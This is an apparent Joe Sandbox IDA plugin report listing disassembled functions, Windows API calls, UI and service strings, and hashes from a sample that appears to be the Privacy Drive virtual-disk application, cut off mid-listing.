Source File: 00000000.00000002.2431959827.0000000004261000.00000020.10000000.00040000.00000000.sdmp, Offset: 04261000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4261000_bfINGx7hvL.jbxd

Similarity

API ID: Variant$ClearInit
String ID: I$J$K$Q$S$U$W$Y$[$]$_$a$c$e$g$p=)u
API String ID: 2610073882-1393172351
Opcode ID: 1b6005af53ce93d573dfd027ad3a610adbbfdbda4d0365a8a30b0b9ca6eac1cd
Instruction ID: 54451565d9d9eb859c70dbb1f465dff8496ecb309e6cd74ee045f120da88d3d9
Opcode Fuzzy Hash: 1b6005af53ce93d573dfd027ad3a610adbbfdbda4d0365a8a30b0b9ca6eac1cd
Instruction Fuzzy Hash: 7B51B27010DBC1CAE3329B289858BDBBFE0ABA2315F044A5DD4ED4B392C7755545CB63

Function 00488200 Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 004C1DB0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?,00000000,00000000,00000000,?,?), ref: 004C1E7F

GetSystemMetrics.USER32(00000000), ref: 004883A5
GetSystemMetrics.USER32(00000000), ref: 004883B1
GetSystemMetrics.USER32(00000000), ref: 004883C4
GetSystemMetrics.USER32(00000000), ref: 004883D0

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

GetSystemMetrics.USER32(00000001), ref: 004883F1
GetSystemMetrics.USER32(00000001), ref: 004883FD

Strings

PROGRAM_NAME, xrefs: 00488465
WIDTH, xrefs: 00488291
Privacy Drive, xrefs: 0048842B
MAIN_FRAME, xrefs: 00488271
Param, xrefs: 004882A1, 004882EE, 00488338
Window, xrefs: 0048827A
HEIGHT, xrefs: 004882E5
value, xrefs: 004882C2, 0048830C, 00488357
Version.xml, xrefs: 00488444
String, xrefs: 0048846E
WINDOW_ZOOMED, xrefs: 0048832F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MetricsSystem$ByteCharMultiWide
String ID: HEIGHT$MAIN_FRAME$PROGRAM_NAME$Param$Privacy Drive$String$Version.xml$WIDTH$WINDOW_ZOOMED$Window$value
API String ID: 3646970139-3605866157
Opcode ID: a3a6bdb9323faea7ad88a1fe8064f858e8ae5105d9517dcf130841d295931d8b
Instruction ID: b1ebfda65bef082c0e5c1b630037185d9d9caaa7aa874ece3c824be103b71414
Opcode Fuzzy Hash: a3a6bdb9323faea7ad88a1fe8064f858e8ae5105d9517dcf130841d295931d8b
Instruction Fuzzy Hash: 898162719007099FDB10EFA5C952BEFB7F8FB04715F50082EEA55A3280EB79A904CB65

Function 0041D770 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 138serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,B681F143,00000001,?), ref: 0041D7A7
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,0053C2B0,000000FF), ref: 0041D7B4

Part of subcall function 004A6D40: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6D8C
Part of subcall function 004A6D40: DeviceIoControl.KERNEL32(?,07770C80,00000000,00000000,00000000,00004326,B681F143,00000000), ref: 004A6DA6
Part of subcall function 004A6D40: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6DCD
Part of subcall function 004A6D40: PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6DED
Part of subcall function 004A6D40: EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6E14
Part of subcall function 004A6D40: LeaveCriticalSection.KERNEL32(005BE2CC,?), ref: 004A6E27
Part of subcall function 004A6D40: EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6E4C
Part of subcall function 004A6D40: LeaveCriticalSection.KERNEL32(005BE2CC), ref: 004A6E59

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,?,?,?,?,?,00000000,0053C2B0), ref: 0041D7BF
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,0053C2B0,000000FF), ref: 0041D7C6
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,?,?,?,?,?,00000000,0053C2B0), ref: 0041D7D1
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,0053C2B0,000000FF), ref: 0041D7D8
InitializeCriticalSection.KERNEL32(?), ref: 0041D7FA
CloseHandle.KERNEL32(00000000), ref: 0041D87B
CloseHandle.KERNEL32(00000000), ref: 0041D8BD

Strings

0020, xrefs: 0041D858
PDSvc, xrefs: 0041D8ED
<,X, xrefs: 0041D819
PDService, xrefs: 0041D8D9
PrivacyDrive, xrefs: 0041D8FE
pdvstd, xrefs: 0041D8E3

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseCriticalHandleSection$ManagerMessageOpenPeekService$EnterLeave$ControlDeviceInitialize
String ID: 0020$<,X$PDService$PDSvc$PrivacyDrive$pdvstd
API String ID: 1155767753-786742159
Opcode ID: 7f9013be637a4fb1d539a1687d56e943ee8ae04a3c0735e4c55be48d26997d1e
Instruction ID: fe292872d04120c4a511561b547e2c5dc552ceefd20faf9a43f5be35038494dd
Opcode Fuzzy Hash: 7f9013be637a4fb1d539a1687d56e943ee8ae04a3c0735e4c55be48d26997d1e
Instruction Fuzzy Hash: A141C4B0E00308DADB20EBA5CC49BEFBBB8EF55714F04052AE515E72C1DB789945C759

Function 00444650 Relevance: 26.3, APIs: 3, Strings: 12, Instructions: 77COMMON

Download Yara Rule

APIs

TryEnterCriticalSection.KERNEL32(005BDCCC), ref: 00444658
LeaveCriticalSection.KERNEL32(005BDCCC,Dialog,CREATING_VOLUME), ref: 0044467F
LeaveCriticalSection.KERNEL32(005BDCCC,00000008,CHECKBOX_AUTO_CLOSE,00000007,BUTTON_OK,00000006,BUTTON_STOP,00000005,STRING_SEC,00000004,LABEL_REMAINING_TIME,00000003,LABEL_ELAPSED_TIME,00000002,LABEL_COMPLETED,00000001), ref: 00444742

Strings

LABEL_DAY, xrefs: 00444689
LABEL_SPEED, xrefs: 004446A1
BUTTON_STOP, xrefs: 004446FB
LABEL_COMPLETED, xrefs: 004446B3
LABEL_ELAPSED_TIME, xrefs: 004446C5
BUTTON_OK, xrefs: 00444711
LABEL_REMAINING_TIME, xrefs: 004446D7
Dialog, xrefs: 00444667
PZ, xrefs: 0044466C
STRING_SEC, xrefs: 004446E9
CREATING_VOLUME, xrefs: 00444662
CHECKBOX_AUTO_CLOSE, xrefs: 00444727

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: BUTTON_OK$BUTTON_STOP$CHECKBOX_AUTO_CLOSE$CREATING_VOLUME$Dialog$LABEL_COMPLETED$LABEL_DAY$LABEL_ELAPSED_TIME$LABEL_REMAINING_TIME$LABEL_SPEED$PZ$STRING_SEC
API String ID: 2978645861-3884833104
Opcode ID: 1354aac24ce8b8ef273c1a10e92ac794f3d38bbd9ea45b925beea1b5509dcd24
Instruction ID: 055efe20bf076642a387449986969e2f221064955289446957f10a815dd99779
Opcode Fuzzy Hash: 1354aac24ce8b8ef273c1a10e92ac794f3d38bbd9ea45b925beea1b5509dcd24
Instruction Fuzzy Hash: FA114C22381F2122FA5522322D1BB2F094A6B81F69F16405ABE05AD2C2FECDCD41D29C

Function 0041B250 Relevance: 25.6, APIs: 6, Strings: 11, Instructions: 121COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 0041B260
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0041B278
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,DIALOG_EXPAND), ref: 0041B2A5
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0041B2B7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,DIALOG_EXPAND), ref: 0041B2E4
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0041B2F6

Strings

IMG_BUTTON_HIT, xrefs: 0041B380
DIALOG_EXPAND, xrefs: 0041B286, 0041B2C5, 0041B304
IMG_ARROW_NORMAL_UP, xrefs: 0041B3A4
IMG_BUTTON_PUSH, xrefs: 0041B392
IMG_ARROW_HIT_UP, xrefs: 0041B3C8
Button, xrefs: 0041B28C, 0041B2CB, 0041B30A
IMG_BUTTON_NORMAL, xrefs: 0041B368
PM_HEIGHT, xrefs: 0041B338
IMG_ARROW_HIT_DOWN, xrefs: 0041B3DA
IMG_ARROW_NORMAL_DOWN, xrefs: 0041B3B6
PM_BORDER, xrefs: 0041B31E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Button$DIALOG_EXPAND$IMG_ARROW_HIT_DOWN$IMG_ARROW_HIT_UP$IMG_ARROW_NORMAL_DOWN$IMG_ARROW_NORMAL_UP$IMG_BUTTON_HIT$IMG_BUTTON_NORMAL$IMG_BUTTON_PUSH$PM_BORDER$PM_HEIGHT
API String ID: 904232820-730490805
Opcode ID: 0a707aea084ef99030b8f85b3a938d66ff42589019587328b4cc63533453426a
Instruction ID: 11b5f008a0bab000d85bfe6aabd39e875f0e977299389ebaf7c90ea5c12af504
Opcode Fuzzy Hash: 0a707aea084ef99030b8f85b3a938d66ff42589019587328b4cc63533453426a
Instruction Fuzzy Hash: DF317E7038070667E614A7328C53FEB6A94FF50B45F05042FBA56E62D1FFD8E850C6A9

Function 0043B0A0 Relevance: 25.6, APIs: 6, Strings: 11, Instructions: 116COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 0043B0B0
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0043B0C8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,FRAME_BUTTON), ref: 0043B0F5
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0043B107

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Button,?,FRAME_BUTTON), ref: 0043B134
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 0043B146

Strings

IMG_MAXIMIZE_ICON_2, xrefs: 0043B1A0
FRAME_BUTTON, xrefs: 0043B0D6, 0043B115, 0043B154
IMG_HIDE_ICON, xrefs: 0043B1C4
IMG_MAXIMIZE_ICON_B, xrefs: 0043B1E8
IMG_CLOSE_ICON, xrefs: 0043B1B2
Button, xrefs: 0043B0DC, 0043B11B, 0043B15A
IMG_MINIMIZE_ICON_B, xrefs: 0043B1D6
IMG_MINIMIZE_ICON, xrefs: 0043B16E
IMG_MAXIMIZE_ICON_2B, xrefs: 0043B1FA
IMG_CLOSE_ICON_B, xrefs: 0043B20C
IMG_MAXIMIZE_ICON, xrefs: 0043B18A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Button$FRAME_BUTTON$IMG_CLOSE_ICON$IMG_CLOSE_ICON_B$IMG_HIDE_ICON$IMG_MAXIMIZE_ICON$IMG_MAXIMIZE_ICON_2$IMG_MAXIMIZE_ICON_2B$IMG_MAXIMIZE_ICON_B$IMG_MINIMIZE_ICON$IMG_MINIMIZE_ICON_B
API String ID: 904232820-3307000364
Opcode ID: 83c5b8bb67f0ae4b3de67eb1b1a33e3331752b4c9c3ddd21483f26a95269ca02
Instruction ID: ae8332686b30e96149a427469382f687029e1379bd36c23878b8f88bf8a8bd2f
Opcode Fuzzy Hash: 83c5b8bb67f0ae4b3de67eb1b1a33e3331752b4c9c3ddd21483f26a95269ca02
Instruction Fuzzy Hash: 85319670384B0167E6506232AC06F7F6AA4BF54B46F04451FB789DA2C1FFD8EC00D6A9

Function 004A0210 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 106windowsleepCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 004A0221
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004A0242
SendMessageW.USER32(00000000,00000121,00000000,00000000), ref: 004A0260
Sleep.KERNEL32(0000000A), ref: 004A0268
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004A0276
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004A028A
Sleep.KERNEL32(0000000A), ref: 004A02C1
TranslateMessage.USER32(00000000), ref: 004A02C7
DispatchMessageW.USER32(00000000), ref: 004A02D1
TranslateMessage.USER32(00000000), ref: 004A02FA
DispatchMessageW.USER32(00000000), ref: 004A0304
PostQuitMessage.USER32(00000000), ref: 004A030E
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004A0320

Strings

p, xrefs: 004A029E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Message$Peek$DispatchSleepTranslate$ParentPostQuitSend
String ID: p
API String ID: 3558860194-2181537457
Opcode ID: 3ad98564f9217dad67eb4cc8d1695be8ae595c90c57b1d42db7e0a873f5566b0
Instruction ID: a3fbdd8ff4268c024b1367fc26ad39c1584acc8a4865cc4e2d2fc97986039eed
Opcode Fuzzy Hash: 3ad98564f9217dad67eb4cc8d1695be8ae595c90c57b1d42db7e0a873f5566b0
Instruction Fuzzy Hash: 9A310A31A40309AFEF209BA0CC49FEE7778EB2A711F140466F601E62D0D778A945DB69

Function 004183B0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 106windowsleepCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 004183C1
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004183E2
SendMessageW.USER32(00000000,00000121,00000000,00000000), ref: 00418400
Sleep.KERNEL32(00000005,?,?,?,00418332,00000000,?,?), ref: 00418408
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00418416
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041842A
Sleep.KERNEL32(0000000A,?,?,?,00418332,00000000,?,?), ref: 00418461
TranslateMessage.USER32(?), ref: 00418467
DispatchMessageW.USER32(?), ref: 00418471
TranslateMessage.USER32(?), ref: 0041849A
DispatchMessageW.USER32(?), ref: 004184A4
PostQuitMessage.USER32(00000000), ref: 004184AE
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004184C0

Strings

p, xrefs: 0041843E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Message$Peek$DispatchSleepTranslate$ParentPostQuitSend
String ID: p
API String ID: 3558860194-2181537457
Opcode ID: ad4554fbc41f7c899fdbae2d57b079ac61dafef2fa67099c461952b4773f50a4
Instruction ID: e94e9c10f76434120f8662620c792d8805317a7a4b21368f9c37895cfdad71a7
Opcode Fuzzy Hash: ad4554fbc41f7c899fdbae2d57b079ac61dafef2fa67099c461952b4773f50a4
Instruction Fuzzy Hash: 9B310E31A40309AFEF109BA0DC49FEE7768BB19711F54042AF601E6290EF78A945DB69

Function 0042D510 Relevance: 22.8, APIs: 15, Instructions: 292windowCOMMON

Download Yara Rule

APIs

GdipCreateRegion.GDIPLUS ref: 0042D569
GdipGetClip.GDIPLUS(?,?), ref: 0042D58D
GdipSetClipRectI.GDIPLUS(?,00000000,00000000,?,?,00000004), ref: 0042D5B5
GdipCreatePath.GDIPLUS(00000000,?), ref: 0042D5D7
GdipCreatePathGradientFromPath.GDIPLUS(?,?), ref: 0042D665
GdipSetPathGradientFocusScales.GDIPLUS(?,?,?,B681F143), ref: 0042D6DA
GdipFillPath.GDIPLUS(?,?,?,?,?,B681F143), ref: 0042D6FE
GdipSetClipRegion.GDIPLUS(?,?,00000000,?,?,B681F143), ref: 0042D720
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0042D744
GdipSetStringFormatAlign.GDIPLUS(?,00000000,?,00000064,00000019,?,00000064,?,FF414141,00000000,00000000,?,?,?,?,00000000), ref: 0042D7D6
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001), ref: 0042D7FC
GdipDeleteStringFormat.GDIPLUS(00000000,?,00000008,0000001D,?,?,?,FF414141,?,00000008,00000008,?,?,FF414141), ref: 0042D8BA
GdipDeleteBrush.GDIPLUS(?), ref: 0042D8D1
GdipDeletePath.GDIPLUS(?), ref: 0042D8E0
GdipDeleteRegion.GDIPLUS(?), ref: 0042D8F2

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Path$CreateDeleteFormatString$ClipRegion$AlignGradient$BrushFillFocusFromLineRectScales
String ID:
API String ID: 3976200767-0
Opcode ID: 856bd7b8fd2f43be429881904b70c3a87543154a6d411990ca30d853c1daf611
Instruction ID: 438f0d58572181c0c9f278595c685e5d405f47503ee238b1893350e076efd6a8
Opcode Fuzzy Hash: 856bd7b8fd2f43be429881904b70c3a87543154a6d411990ca30d853c1daf611
Instruction Fuzzy Hash: 9CC157B1608341AFE711CF24C845B5BBBE8FF99314F104A1EF9A5972A0D770E948CB56

Function 004352D0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 104COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4,?,?,?,00435460), ref: 004352E0
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,00435460), ref: 004352F8
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog\Button,?,SPLASH|CLOSE,?,?,?,00435460), ref: 00435325
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,00435460), ref: 00435337

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog\Button,?,SPLASH|CLOSE,?,?,?,00435460), ref: 00435364
LeaveCriticalSection.KERNEL32(005BDCE4,?,?,?,00435460), ref: 00435376

Strings

SPLASH|CLOSE, xrefs: 00435306, 00435345, 00435384
PM_WIDTH, xrefs: 004353CE
IMG_NORMAL, xrefs: 004353FA
PM_HEIGHT, xrefs: 004353E4
PM_RIGHT, xrefs: 004353B8
IMG_PUSH, xrefs: 00435424
IMG_HIT, xrefs: 00435412
PM_TOP, xrefs: 0043539E
Dialog\Button, xrefs: 0043530C, 0043534B, 0043538A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Dialog\Button$IMG_HIT$IMG_NORMAL$IMG_PUSH$PM_HEIGHT$PM_RIGHT$PM_TOP$PM_WIDTH$SPLASH|CLOSE
API String ID: 904232820-1171755522
Opcode ID: a3294f2705f154f8f036b536cae1ebb6c065207f2ae3daecc49b24937574667b
Instruction ID: f7248e3511a0334548e6fba1859fd11e6aa3f2101fc69f97611eb1fe6e9bcd4c
Opcode Fuzzy Hash: a3294f2705f154f8f036b536cae1ebb6c065207f2ae3daecc49b24937574667b
Instruction Fuzzy Hash: CB31A270380701A7D614A7729D42FEB6A94BB24B05F44402BB74A972D1FFE8F940DA65

Function 004580E0 Relevance: 21.2, APIs: 14, Instructions: 227COMMON

Download Yara Rule

APIs

GdipCreatePath.GDIPLUS(00000000,B681F143,B681F143,?,00000000,B681F143,005429F8,000000FF,?,00457F77,00000000,00000000,?), ref: 0045811A
GdipResetPath.GDIPLUS(00000000,?,00000000), ref: 0045819B
#1.GDIPLUS(00000000), ref: 004581CA
